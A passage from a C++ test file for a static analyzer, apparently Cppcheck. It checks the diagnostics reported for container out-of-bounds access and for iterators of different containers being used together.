[containerOutOfBounds]\\n\"\n \"[test.cpp:2:11]: note: condition 'i<=(int)v.size()'\\n\"\n \"[test.cpp:3:14]: note: Access out of bounds\\n\"\n \"[test.cpp:6:14]: warning: Either the condition 'i<=static_cast(v.size())' is redundant or 'i' can have the value v.size(). Expression 'v[i]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:5:11]: note: condition 'i<=static_cast(v.size())'\\n\"\n \"[test.cpp:6:14]: note: Access out of bounds\\n\",\n errout_str());\n\n check(\"template\\n\"\n \"void b(Iterator d) {\\n\"\n \" std::string c = \\\"a\\\";\\n\"\n \" d + c.length();\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" std::string buf;\\n\"\n \" b(buf.begin());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:5]: error: Out of bounds access in expression 'd+c.length()' because 'buf' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"template\\n\"\n \"void b(Iterator d) {\\n\"\n \" std::string c = \\\"a\\\";\\n\"\n \" sort(d, d + c.length());\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" std::string buf;\\n\"\n \" b(buf.begin());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector &v) {\\n\"\n \" return !v.empty() ? 42 : v.back();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:36]: warning: Either the condition 'v.empty()' is redundant or expression 'v.back()' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:20]: note: condition 'v.empty()'\\n\"\n \"[test.cpp:2:36]: note: Access out of bounds\\n\",\n errout_str());\n\n check(\"std::vector g() {\\n\" // #10779\n \" std::vector v(10);\\n\"\n \" for(int i = 0; i <= 10; ++i)\\n\"\n \" v[i] = 42;\\n\"\n \" return v;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: error: Out of bounds access in 'v[i]', if 'v' size is 10 and 'i' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int s = 2;\\n\"\n \" std::vector v(s);\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 2 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v({ 1, 2, 3 });\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char c[] = { 1, 2, 3 };\\n\"\n \" std::vector v(c, sizeof(c) + c);\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char c[] = { 1, 2, 3 };\\n\"\n \" std::vector v{ c, c + sizeof(c) };\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int i[] = { 1, 2, 3 };\\n\"\n \" std::vector v(i, i + sizeof(i) / 4);\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\" // #6615\n \" int i[] = { 1, 2, 3 };\\n\"\n \" std::vector v(i, i + sizeof(i) / sizeof(int));\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"test.cpp:4:error:Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100\\n\",\n \"\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::array a = {};\\n\"\n \" a[10];\\n\"\n \" constexpr std::array b = {};\\n\"\n \" b[10];\\n\"\n \" const std::array c = {};\\n\"\n \" c[10];\\n\"\n \" static constexpr std::array d = {};\\n\"\n \" d[10];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: error: Out of bounds access in 'a[10]', if 'a' size is 10 and '10' is 10 [containerOutOfBounds]\\n\"\n \"[test.cpp:5:6]: error: Out of bounds access in 'b[10]', if 'b' size is 10 and '10' is 10 [containerOutOfBounds]\\n\"\n \"[test.cpp:7:6]: error: Out of bounds access in 'c[10]', if 'c' size is 10 and '10' is 10 [containerOutOfBounds]\\n\"\n \"[test.cpp:9:6]: error: Out of bounds access in 'd[10]', if 'd' size is 10 and '10' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"struct test_fixed {\\n\"\n \" std::array array = {};\\n\"\n \" void index(int i) { array[i]; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" test_fixed x = test_fixed();\\n\"\n \" x.index(10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:30]: error: Out of bounds access in 'array[i]', if 'array' size is 10 and 'i' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"struct test_constexpr {\\n\"\n \" static constexpr std::array array = {};\\n\"\n \" void index(int i) { array[i]; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" test_constexpr x = test_constexpr();\\n\"\n \" x.index(10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:30]: error: Out of bounds access in 'array[i]', if 'array' size is 10 and 'i' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n checkNormal(\"struct A {\\n\"\n \" const std::vector& v;\\n\"\n \" A(const std::vector& x) : v(x)\\n\"\n \" {}\\n\"\n \" int f() const {\\n\"\n \" return v[0];\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct A {\\n\"\n \" static const std::vector v;\\n\"\n \" int f() const {\\n\"\n \" return v[0];\\n\"\n \" }\\n\"\n \"};\\n\"\n \"const std::vector A::v = {1, 2};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct a {\\n\"\n \" std::vector g() const;\\n\"\n \"};\\n\"\n \"int f(const a& b) {\\n\"\n \" auto c = b.g();\\n\"\n \" assert(not c.empty());\\n\"\n \" int d = c.front();\\n\"\n \" return d;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"std::string f() {\\n\"\n \" std::map m = { { 1, \\\"1\\\" } };\\n\"\n \" return m.at(1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct A {\\n\"\n \" virtual void init_v(std::vector *v) = 0;\\n\"\n \"};\\n\"\n \"A* create_a();\\n\"\n \"struct B {\\n\"\n \" B() : a(create_a()) {}\\n\"\n \" void init_v(std::vector *v) {\\n\"\n \" a->init_v(v);\\n\"\n \" }\\n\"\n \" A* a;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" B b;\\n\"\n \" std::vector v;\\n\"\n \" b.init_v(&v);\\n\"\n \" v[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::vector* v) {\\n\"\n \" if (v->empty())\\n\"\n \" v->push_back(1);\\n\"\n \" auto x = v->back();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"template \\n\"\n \"struct Foo {\\n\"\n \" std::array items = {0};\\n\"\n \" T maxCount = count;\\n\"\n \" explicit Foo(const T& maxValue = (std::numeric_limits::max)()) : maxCount(maxValue) {}\\n\"\n \" bool Set(const uint8_t idx) {\\n\"\n \" if (CheckBounds(idx) && items[idx] < maxCount) {\\n\"\n \" items[idx] += 1;\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" static bool CheckBounds(const uint8_t idx) { return idx < count; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Foo x;\\n\"\n \" if (x.Set(42U)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct S { void g(std::span& r) const; };\\n\" // #11828\n \"int f(const S& s) {\\n\"\n \" std::span t;\\n\"\n \" s.g(t);\\n\"\n \" return t[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"char h() {\\n\"\n \" std::string s;\\n\"\n \" std::string_view sv(s);\\n\"\n \" return s[2];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: error: Out of bounds access in expression 's[2]' because 's' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\" // #12738\n \" std::vector v{ 0, 0.1 };\\n\"\n \" (void)v[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void outOfBoundsSymbolic()\n {\n check(\"void foo(std::string textline, int col) {\\n\"\n \" if(col > textline.size())\\n\"\n \" return false;\\n\"\n \" int x = textline[col];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12] -> [test.cpp:4:21]: (warning) Either the condition 'col>textline.size()' is redundant or 'col' can have the value textline.size(). Expression 'textline[col]' causes access out of bounds. [containerOutOfBounds]\\n\",\n errout_str());\n }\n\n void outOfBoundsIndexExpression() {\n setMultiline();\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[s.size()] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index 's.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[s.size()+1] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index 's.size()+1' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[1+s.size()] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index '1+s.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[x*s.size()] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index 'x*s.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"bool f(std::string_view& sv) {\\n\" // #10031\n \" return sv[sv.size()] == '\\\\0';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: error: Out of bounds access of sv, index 'sv.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n }\n void outOfBoundsIterator() {\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" auto it = v.begin();\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Out of bounds access in expression 'it' because 'v' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(0);\\n\"\n \" auto it = v.begin() + 1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Out of bounds access in 'it', if 'v' size is 1 and 'it' is at position 1 from the beginning [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(0);\\n\"\n \" auto it = v.end() - 1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(0);\\n\"\n \" auto it = v.end() - 2;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Out of bounds access in 'it', if 'v' size is 1 and 'it' is at position 2 from the end [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(std::vector x) {\\n\"\n \" std::map m;\\n\"\n \" if (!m.empty()) {\\n\"\n \" g(m.begin()->second);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector vec;\\n\"\n \" std::vector::iterator it = vec.begin();\\n\"\n \" *it = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Out of bounds access in expression 'it' because 'vec' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector vec;\\n\"\n \" auto it = vec.begin();\\n\"\n \" *it = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Out of bounds access in expression 'it' because 'vec' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n }\n\n void iterator1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" for (std::list::iterator it = l1.begin(); it != l2.end(); ++it)\\n\"\n \" { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:40]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" for (std::list::iterator it = l1.begin(); l2.end() != it; ++it)\\n\"\n \" { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:52]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"struct C { std::list l1; void func(); };\\n\"\n \"void C::func() {\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = l1.begin(); it != l1.end(); ++it) { }\\n\"\n \" C c;\\n\"\n \" for (it = c.l1.begin(); it != c.l1.end(); ++it) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Same check with reverse iterator\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" for (std::list::const_reverse_iterator it = l1.rbegin(); it != l2.rend(); ++it)\\n\"\n \" { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:54]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator2() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" while (it != l2.end())\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:35]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" while (l2.end() != it)\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:12]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator3() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Same iterator is used with different containers 'l1' and 'l2'. [iterators1]\\n\"\n \"[test.cpp:6:5]: (error) Iterator 'it' referring to container 'l1' is used with container 'l2'. [mismatchingContainerIterator]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #5803\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it, l1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\" // #7658\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" std::list::iterator end = l1.end();\\n\"\n \" l2.insert(it, end);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // only warn for insert when there are preciself 2 arguments.\n check(\"void foo() {\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo() {\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it,0,1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void iterator4() {\n check(\"void foo(std::vector &test)\\n\"\n \"{\\n\"\n \" std::set result;\\n\"\n \" for (std::vector::const_iterator cit = test.begin();\\n\"\n \" cit != test.end();\\n\"\n \" ++cit)\\n\"\n \" {\\n\"\n \" result.insert(cit->size());\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator5() {\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find(ints1.begin(), ints2.end(), 22);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:47]: (error) Iterators of different containers 'ints1' and 'ints2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator6() {\n // Ticket #1357\n check(\"void foo(const std::set &ints1)\\n\"\n \"{\\n\"\n \" std::set ints2;\\n\"\n \" std::set::iterator it1 = ints1.begin();\\n\"\n \" std::set::iterator it2 = ints1.end();\\n\"\n \" ints2.insert(it1, it2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::set &ints1)\\n\"\n \"{\\n\"\n \" std::set ints2;\\n\"\n \" std::set::iterator it1 = ints1.begin();\\n\"\n \" std::set::iterator it2 = ints2.end();\\n\"\n \" ints2.insert(it1, it2);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (error) Iterators of different containers are used together.\\n\", \"\", errout_str());\n }\n\n void iterator7() {\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::inplace_merge(ints1.begin(), std::advance(ints1.rbegin(), 5), ints2.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:56]: (error) Iterators of different containers 'ints1' and 'ints2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::inplace_merge(ints1.begin(), std::advance(ints2.rbegin(), 5), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator8() {\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(ints1.begin(), ints2.end(), ints1.begin(), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:56]: (error) Iterators of different containers 'ints1' and 'ints2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(ints1.begin(), ints1.end(), ints2.begin(), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:84]: (error) Iterators of different containers 'ints2' and 'ints1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(foo.bar.begin(), foo.bar.end()-6, ints2.begin(), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:90]: (error) Iterators of different containers 'ints2' and 'ints1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(ints1.begin(), ints1.end(), ints2.begin(), ints2.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6839\n check(\"void f(const std::wstring& a, const std::wstring& b) {\\n\"\n \" const std::string tp1 = std::string(a.begin(), b.end());\\n\"\n \" const std::wstring tp2 = std::string(b.begin(), a.end());\\n\"\n \" const std::u16string tp3(a.begin(), b.end());\\n\"\n \" const std::u32string tp4(b.begin(), a.end());\\n\"\n \" const std::string fp1 = std::string(a.begin(), a.end());\\n\"\n \" const std::string tp2(a.begin(), a.end());\\n\"\n \"}\");\n ASSERT_EQUALS( // TODO \"[test.cpp:2]: (error) Iterators of different containers are used together.\\n\"\n // TODO \"[test.cpp:3]: (error) Iterators of different containers are used together.\\n\"\n \"[test.cpp:4:26]: (error) Iterators of different containers 'tp3' and 'a' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:5:26]: (error) Iterators of different containers 'tp4' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator9() {\n // Ticket #1600\n check(\"void foo(std::vector &r)\\n\"\n \"{\\n\"\n \" std::vector::iterator aI = r.begin();\\n\"\n \" while(aI != r.end())\\n\"\n \" {\\n\"\n \" if (*aI == 0)\\n\"\n \" {\\n\"\n \" r.insert(aI, 42);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" ++aI;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #2481\n check(\"void foo(std::vector &r)\\n\"\n \"{\\n\"\n \" std::vector::iterator aI = r.begin();\\n\"\n \" while(aI != r.end())\\n\"\n \" {\\n\"\n \" if (*aI == 0)\\n\"\n \" {\\n\"\n \" r.insert(aI, 42);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" ++aI;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Execution path checking..\n check(\"void foo(std::vector &r, int c)\\n\"\n \"{\\n\"\n \" std::vector::iterator aI = r.begin();\\n\"\n \" while(aI != r.end())\\n\"\n \" {\\n\"\n \" if (*aI == 0)\\n\"\n \" {\\n\"\n \" r.insert(aI, 42);\\n\"\n \" if (c)\\n\"\n \" {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" ++aI;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:14] (error) After insert(), the iterator 'aI' may be invalid.\", \"\", errout_str());\n }\n\n void iterator10() {\n // Ticket #1679\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::set s1;\\n\"\n \" std::set s2;\\n\"\n \" for (std::set::iterator it = s1.begin(); it != s1.end(); ++it)\\n\"\n \" {\\n\"\n \" if (true) { }\\n\"\n \" if (it != s2.end()) continue;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:39]: (error) Iterators of different containers 's1' and 's2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator11() {\n // Ticket #3433\n check(\"int main() {\\n\"\n \" map myMap;\\n\"\n \" vector myVector;\\n\"\n \" for(vector::iterator x = myVector.begin(); x != myVector.end(); x++)\\n\"\n \" myMap.erase(*x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator12() {\n // Ticket #3201\n check(\"void f() {\\n\"\n \" std::map map1;\\n\"\n \" std::map map2;\\n\"\n \" std::map::const_iterator it = map1.find(123);\\n\"\n \" if (it == map2.end()) { }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:45]: (error) Iterators of different containers 'map1' and 'map2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::map map1;\\n\"\n \" std::map map2;\\n\"\n \" std::map::const_iterator it = map1.find(123);\\n\"\n \" if (map2.end() == it) { }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (error) Iterators of different containers 'map2' and 'map1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f(std::string &s) {\\n\"\n \" int pos = s.find(x);\\n\"\n \" s.erase(pos);\\n\"\n \" s.erase(pos);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator13() {\n check(\"void f() {\\n\"\n \" std::vector a;\\n\"\n \" std::vector t;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" it = a.begin();\\n\"\n \" while (it!=a.end())\\n\"\n \" ++it;\\n\"\n \" it = t.begin();\\n\"\n \" while (it!=a.end())\\n\"\n \" ++it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (error) Iterators of different containers 't' and 'a' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n // #4062\n check(\"void f() {\\n\"\n \" std::vector a;\\n\"\n \" std::vector t;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" it = a.begin();\\n\"\n \" while (it!=a.end())\\n\"\n \" ++it;\\n\"\n \" it = t.begin();\\n\"\n \" while (it!=t.end())\\n\"\n \" ++it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector a;\\n\"\n \" std::vector t;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" if(z)\\n\"\n \" it = a.begin();\\n\"\n \" else\\n\"\n \" it = t.begin();\\n\"\n \" while (z && it!=a.end())\\n\"\n \" ++it;\\n\"\n \" while (!z && it!=t.end())\\n\"\n \" ++it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator14() {\n check(\"void f() {\\n\"\n \" std::map x;\\n\"\n \" std::map::const_iterator it;\\n\"\n \" for (it = x.find(0)->second.begin(); it != x.find(0)->second.end(); ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator15() {\n check(\"void f(C1* x, std::list a) {\\n\"\n \" std::list::iterator pos = a.begin();\\n\"\n \" for(pos = x[0]->plist.begin(); pos != x[0]->plist.end(); ++pos) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator16() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l2.end();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.end();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" while (it2 != it1)\\n\"\n \" {\\n\"\n \" ++it2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:36]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it2 = l2.end();\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::set l1;\\n\"\n \" std::set l2(10, 4);\\n\"\n \" std::set::iterator it1 = l1.begin();\\n\"\n \" std::set::iterator it2 = l2.find(4);\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:35]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator17() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" { it2 = l2.end(); }\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n 